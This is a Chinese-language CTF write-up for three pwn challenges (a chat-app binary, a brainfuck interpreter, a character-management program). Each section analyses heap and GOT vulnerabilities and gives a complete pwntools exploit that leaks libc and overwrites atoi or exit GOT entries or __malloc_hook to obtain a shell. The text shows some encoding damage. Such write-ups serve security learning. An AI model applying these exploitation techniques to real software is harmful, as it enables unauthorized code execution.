-
pwn1
防御機(jī)制:
運(yùn)行了下 ,發(fā)現(xiàn)是一個(gè)模擬聊天軟件的程序涎才,功能一共有 8個(gè)
login : 登陸
register : 注冊
view profile : 打印出登陸用戶的信息
update profile : 更新用戶信息
add or delete friend : 添加或者刪除好友
send a message to friend : 發(fā)信息給好友
view your message : 將自己收到的信息打印出來
logout:退出登陸狀態(tài)
通過ida分析程序鞋既,程序一開時(shí)就分配了32個(gè)chunk用來存儲用戶的信息
for ( i = 0; i <= 31; ++i )
{
v1 = malloc(0x128uLL);
result = i;
*(&user + i) = v1;
}
idx = -1;/*登陸的標(biāo)志位*/
-
register 函數(shù)
int register() { char *v0; // rax void **v1; // rbx __int64 v2; // rbx signed int i; // [rsp+8h] [rbp-18h] int size; // [rsp+Ch] [rbp-14h] for ( i = 0; i <= 31 && LODWORD((*(&user + i))->flags); ++i ) ; if ( i == 32 ) puts("Sorry, the app is still in beta version...."); LODWORD((*(&user + i))->flags) = 1; printf("Input your name size:"); size = read_int(); if ( size <= 4096 ) { v1 = *(&user + i); *v1 = malloc(size); printf("Input your name:"); read(0, (*(&user + i))->name, size); // leak heap address printf("Input your age:"); (*(&user + i))->age = read_int(); (*(&user + i))->friend = 0LL; if ( (*(&user + i))->age > 17 ) { printf("Input your description:"); read(0, (*(&user + i))->description, 0x100uLL);// leak info ? v2 = *(&user + i); *(v2 + 0x110) = malloc(0x18uLL); v0 = (*(&user + i))->message; *(v0 + 2) = 0LL; } else { LODWORD(v0) = puts("Oh sorry. U are too young to use this app!"); } } else { LODWORD(v0) = puts("Too big!"); } return v0; }
我將users的結(jié)構(gòu)給逆出來了
users結(jié)構(gòu)體
struct users{ char *name; long age; char description[256]; char *message; char *friends; long flags; }
在register函數(shù)中力九,讀取description時(shí)使用read函數(shù),讀取完后沒加0進(jìn)行截?cái)嘁毓耄源嬖谛畔⑿孤?/p>
-
view profile
打印出用戶的信息跌前,在這里存在信息泄露
int __fastcall view_profile(int a1) { printf("Username:%s\n", (*(&user + a1))->name); printf("Age:%lx\n", (*(&user + a1))->age); return printf("Description:%s\n", (*(&user + a1))->description);// leak info }
-
add or delete friend
這里實(shí)現(xiàn)了添加和刪除好友的功能,但是在刪除好友時(shí)陡舅,會將存儲好友注冊信息的chunkfree掉抵乓,所以通過這個(gè)可以free掉用戶
if ( v5 ) { ptr = (*(&user + idx))->friend; if ( ptr[35] ) { while ( strcmp(*ptr[35], s1) ) ptr = ptr[35]; ptr[35] = v5[35]; free(v5); } else { (*(&user + idx))->friend = 0LL; free(ptr); } }
如果添加兩個(gè)好友a(bǔ),b,然后依次刪除他們靶衍,那么存儲他們信息的chunk就會被free掉并且進(jìn)行unlink灾炭,如果這時(shí)再注冊一個(gè)用戶,用戶的name大小為0x140颅眶,那么這個(gè)name需要的內(nèi)存就會從之前unlink合并后的chunk中切割出來蜈出,這樣就可以控制用戶b的name字段,通過將用戶b的name字段修改為got表中的地址涛酗,再同通過update 功能來修改name掏缎,就可以修改got表的內(nèi)容
-
具體思路:
先新建3個(gè)用戶分別為 'aaaa','bbbb','cccc' register(16,'aaaa',18,'a'*0x100) register(16,'bbbb',18,'b'*8) register(16,'cccc',18,'b'*8) 然后login('aaaa'),通過view profile功能泄露出heap地址 通過 add and delete功能 依次添加好友 'bbbb'和'cccc' 然后 再刪除他們,那么存儲他們信息的chunk就會被free掉并且unlink合并在一起,原先存儲用戶'bbbb'信息的chunk就會包含 unsorted bin的地址煤杀,它的name字段會被修改為 main_arena + 88 退出'aaaa'用戶眷蜈,然后再login(top_chunk_add) /*這個(gè)實(shí)際上是登陸原先的'bbbb'用戶,但是'bbbb'用戶的name字段被修改為了unsorted bin的地址沈自,而這個(gè)地址上存儲著 top_chunk的地址酌儒,所以登陸的用戶名要用 top_chunk的地址,這個(gè)地址可以通過前面泄露的heap地址計(jì)算出來*/ 登陸上后就可以通過view profile功能泄露出libc地址 創(chuàng)建一個(gè)新用戶 register(0x140,p64(heap)*2 + 'a'*0x120 + p64(elf.got['atoi'])*2,20,'66666') 原先'cccc'用戶的name字段就被修改為 atoi在got表中的位置 通過 login(libc_base + atoi_offset)登陸 然后利用update功能修改atoi的got表內(nèi)容為 system函數(shù)
exp:
#!/usr/bin/env python
from pwn import *
local = 1
if local:
p = process('./pwn1')
elf = ELF('./pwn1')
libc = elf.libc
else:
host = ''
port = ''
p = remote(host,port)
elf = ELF('./pwn1')
#libc = ELF('./')
context.arch = elf.arch
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
def register(size,name,age,des):
ru('Your choice:')
sl('2')
rc()
sl(str(size))
rc()
sd(name)
rc()
sl(str(age))
rc()
sd(des)
def login(name):
ru('Your choice:')
sl('1')
rc()
sd(name)
def view():
ru('Your choice:')
sl('1')
def update(name,age,des):
ru('Your choice:')
sl('2')
ru('Input your name:')
sd(name)
ru(":")
sl(str(age))
ru(":")
sd(des)
def add(name):
ru(":")
sl('3')
ru(":")
sd(name)
ru('friend?(a/d)')
sl('a')
def delete(name):
rc()
sl('3')
rc()
sd(name)
ru('friend?(a/d)')
sl('d')
def send_msg(name,title,content):
ru(':')
sl('4')
ru('msg to:')
sl(name)
ru('title:')
sd(title)
ru('content:')
sd(content)
def view_msg():
ru(":")
sl('5')
def logout():
rc()
sl('6')
register(16,'aaaa',18,'x'*0x100)
register(16,'bbbb',18,'b'*8)
register(16,'cccc',18,'b'*8)
log.info('leak heap address')
login('aaaa')
view()
ru('x'*0x100)
leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
log.info("leak_heap address {}".format(hex(leak_heap)))
top_chunk = leak_heap + 0x90
log.info("top_chunk address {}".format(hex(top_chunk)))
log.info('leak libc address')
add('bbbb\x00')
add('cccc\x00')
delete('cccc\x00')
delete('bbbb\x00')
logout()
login(p64(top_chunk))
view()
ru('Age:')
libc_base = int('0x' + p.recv(12) , 16) - 0x3c4b78
log.info('libc_base -->{}'.format(hex(libc_base)))
system = libc_base + libc.symbols['system']
atoi_got = elf.got['atoi']
atoi_add = libc_base + libc.symbols['atoi']
logout()
register(0x140,p64(leak_heap)*2 + 'a'*0x120 + p64(atoi_got)*2,20,'666666')
login(p64(atoi_add))
update(p64(system),66,'666666')
rc()
sl('/bin/sh\x00')
p.interactive()
-
pwn2
這是一道brainfuck類型的題枯途,之前沒有做過類似的忌怎,看到后有點(diǎn)不知所措, 當(dāng)時(shí)比賽只想到怎么泄露出libc
解釋下什么是brainfuck吧,就是用> < + - . , [ ]八種符號來替換C語言的各種語法和命令
詳細(xì)的可以看下這一篇brainfuck 詳解
具體規(guī)則如下:
> Increment the pointer. < Decrement the pointer. + Increment the byte at the pointer. - Decrement the byte at the pointer. . Output the byte at the pointer. , Input a byte and store it in the byte at the pointer. [ Jump forward past the matching ] if the byte at the pointer is zero. ] Jump backward to the matching [ unless the byte at the pointer is zero. 簡單翻譯過來就是 > : ++p; < : --p; + : ++*p; - : --*p; . : putchar(*p); #打印一個(gè)字符 , : *p = getchar(); #輸入一個(gè)字符 [ : while (*p) { ] : }
然后就看題目了
防護(hù)機(jī)制:
只開啟了NX和Canary
簡單反編譯一下
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char v3; // al
char v4; // al
sub_400B35((__int64)*a2);
sub_400B5C();
printf("Put the code: ", a2);
readin(read2bss, 0x400u);
for ( i = 0; ; ++i )
{
v1 = read2bss[i];
if ( !v1 )
break;
v2 = 0;
if ( v1 == '>' )
++num1;
if ( v1 == '<' )
--num1;
if ( v1 == '+' )
++num2[num1];
if ( v1 == '-' )
--num2[num1];
if ( v1 == '.' )
_IO_putc(num2[num1], stdout);
if ( v1 == ',' )
read(0, &num2[num1], 1uLL);
while ( v1 == '[' && !num2[num1] )
{
if ( read2bss[i] == '[' )
++v2;
if ( read2bss[i] == ']' )
{
v3 = v2--;
if ( v3 == 1 )
break;
}
++i;
}
while ( v1 == ']' && num2[num1] )
{
if ( read2bss[i] == ']' )
++v2;
if ( read2bss[i] == '[' )
{
v4 = v2--;
if ( v4 == 1 )
break;
}
--i;
}
}
exit(1);
}
可以發(fā)現(xiàn)當(dāng) 輸入為 '.' 時(shí)酪夷,會打印出num2[num1]的一個(gè)字節(jié)的內(nèi)容榴啸,當(dāng)輸入為','時(shí) 會往 num2[num1]里寫一字節(jié)的內(nèi)容。而 '<' 和 ‘>’ 是用來控制 num的晚岭。
通過查看 bss段的內(nèi)容鸥印,可以發(fā)現(xiàn) stdin,stdout,stderr等結(jié)構(gòu)體,所以可以通過泄露 stdin的地址來泄露出libc地址坦报,stdin結(jié)構(gòu)體是libc中的一個(gè)變量库说,由 IO_2_1_stdin 變量存儲 它的地址
.bss:0000000000602080 stdout dq ? ; DATA XREF: LOAD:0000000000400400↑o
.bss:0000000000602080 ; main+103↑r ...
.bss:0000000000602080 ; Copy of shared data
.bss:0000000000602088 align 10h
.bss:0000000000602090 public stdin
.bss:0000000000602090 ; FILE *stdin
.bss:0000000000602090 stdin dq ? ; DATA XREF: LOAD:0000000000400418↑o
.bss:0000000000602090 ; sub_400B5C+4↑r
.bss:0000000000602090 ; Copy of shared data
.bss:0000000000602098 align 20h
.bss:00000000006020A0 public stderr
.bss:00000000006020A0 ; FILE *stderr
.bss:00000000006020A0 stderr dq ? ; DATA XREF: LOAD:0000000000400430↑o
.bss:00000000006020A0 ; sub_400B5C+40↑r
.bss:00000000006020A0 ; Copy of shared data
.bss:00000000006020A8 byte_6020A8 db ? ; DATA XREF: sub_400810↑r
.bss:00000000006020A8 ; sub_400810+12↑w
.bss:00000000006020A9 align 20h
.bss:00000000006020C0 ; char num2[1024]
.bss:00000000006020C0 num2 db 400h dup(?) ; DATA XREF: main+A6↑o
.bss:00000000006020C0 ; main+B9↑o ...
.bss:00000000006024C0 num1 db ? ; DATA XREF: main+63↑r
.bss:00000000006024C0 ; main+6D↑w ...
.bss:00000000006024C1 i db ? ; DATA XREF: main+45↑w
.bss:00000000006024C1 ; main:loc_4009B0↑r ...
.bss:00000000006024C2 align 20h
然后在上方存在著got表,因?yàn)闆]開Full RELRO,所以可以同通過修改got表函數(shù)的內(nèi)容為getshell函數(shù)來獲取一個(gè)shell
-
leak stdin的地址
stdin = 0x602090 num2 = 0x6020C0 offset = num2 - stdin payload = '<' * offset + '.>.>.>.>.>.>' sl(payload) leak = u64(rc().ljust(8,'\x00')) log.info(hex(leak)) libc_base = leak - libc.symbols['_IO_2_1_stdin_']
-
修改 exit_got為 one_gadget
exp:#!/usr/bin/env python from pwn import * from LibcSearcher import * local = 1 if local: p = process('./pwn2') elf = ELF('./pwn2') libc = elf.libc else: host = '172.16.9.24' port = '8888' p = remote(host,port) elf = ELF('./pwn2') context.arch = elf.arch context.log_level='debug' def sd(content): p.send(content) def sl(content): p.sendline(content) def rc(): return p.recv() def ru(content): return p.recvuntil(content) exit_got = 0x602060 stdin = 0x602090 num2 = 0x6020C0 offset1 = num2 - stdin offset2 = stdin + 6 - exit_got one_gadget_offset = [0xf1147,0xf02a4,0x4526a,0x45216] payload = '<' * offset1 + '.>.>.>.>.>.>' payload += '<' * offset2 payload += ',>,>,>,>,>,' rc() sl(payload) leak = u64(rc().ljust(8,'\x00')) log.info(hex(leak)) libc_base = leak - libc.symbols['_IO_2_1_stdin_'] one_gadget = libc_base + one_gadget_offset[0] one_gadget = p64(one_gadget) for i in range(6): sd(one_gadget[i]) sleep(0.1) p.interactive()
-
pwn3
防護(hù)機(jī)制:
防護(hù)機(jī)制全開....但是聽說挺簡單的,結(jié)果還真的是很簡單片择,是我比賽時(shí)想復(fù)雜了潜的,不該去看cmd list函數(shù)的
一共有5個(gè)功能,menu菜單打印出了4個(gè)功能字管,但是有個(gè)一個(gè)cmd list的功能沒打印出來
1. Create a character
2. View characters
3. Delete characters
4. Clean all the characters
5. cmd list
character 結(jié)構(gòu)體
struct character{
long flag;
char *name;
char type[23];
}
-
creater a character
分配一個(gè)0x28來存放character結(jié)構(gòu)體啰挪,然后輸入name的長度信不,根據(jù)輸入的大小分配堆塊存儲name,再讀取type亡呵,最后將這個(gè)chunk的地址存儲在一個(gè)全局變量數(shù)組ptr里抽活。
View characters
將所有的character的name和 type都打印出來,這里存在信息泄露
```c
for ( i = 0; i <= 0x63; ++i )
{
if ( ptr[i] && *ptr[i] )
{
printf("Name[%u] :%s\n", i, *(ptr[i] + 8LL));
printf("Type[%u] :%s\n", i, ptr[i] + 16LL);// leak info
}
}
```
-
Delete characters
將character 的name的chunk free掉,但是沒將指針置為0政己,所以這里存在UAF漏洞,可以進(jìn)行fastbins attack
__int64 delete() { unsigned int idx; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( count ) { printf("Which character do you want to eat:"); __isoc99_scanf("%d", &idx); if ( idx > 0x63 || !ptr[idx] ) { puts("Invalid choice"); return 0LL; } srand(0); *ptr[idx] = 0; free(*(ptr[idx] + 8LL)); // uaf fastbins attack } else { puts("No character"); } return 0LL;
-
Clean all the characters
將delete掉的character 從全局變量數(shù)組中刪除,并且free掉存儲character結(jié)構(gòu)體的chunk
-
cmd list
這個(gè)暫時(shí)不分析掏愁,這里主要是實(shí)現(xiàn)了一些 note的分配 歇由,編輯等操作,我沒有用到
解題思路:
利用UAF漏洞泄露出libc地址
然后利用fastbins attack 分配到包含__malloc_hook的chunk果港,修改__malloc_hook為one_gadget
最后出發(fā) malloc_printerr來getshell
exp:
#!/usr/bin/env python
from pwn import *
local = 1
if local:
p = process('./pwn3')
elf = ELF('./pwn3')
libc = elf.libc
else:
host = ''
port = ''
p = remote(host,port)
elf = ELF('./pwn3')
#libc = ELF('./')
context.arch = elf.arch
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
def create(size,name,t):
ru('Your choice : ')
sl('1')
ru('Length of the name :')
sl(str(size))
ru('The name of character :')
sd(name)
ru('The type of the character :')
sl(t)
def view():
ru('Your choice : ')
sl('2')
def delete(idx):
ru('Your choice : ')
sl('3')
rc()
sl(str(idx))
def clean():
ru('Your choice : ')
sl('4')
create(0x98,'a'*8,'1234')
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')
create(0x28,'bbbb','456798')
delete(0)
clean()
create(0x98,'a'*8,'1234')
view()
ru('a'*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
main_arena = leak - 0x58
libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10
log.info("libc_base is {}".format(hex(libc_base)))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
one_gadget = 0xf02a4 + libc_base
delete(1)
delete(2)
delete(1)
create(0x68,p64(malloc_hook - 0x23),'1234')
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')
create(0x68,'a'*0x13 + p64(one_gadget),'1234')
delete(0)
delete(0)
p.interactive()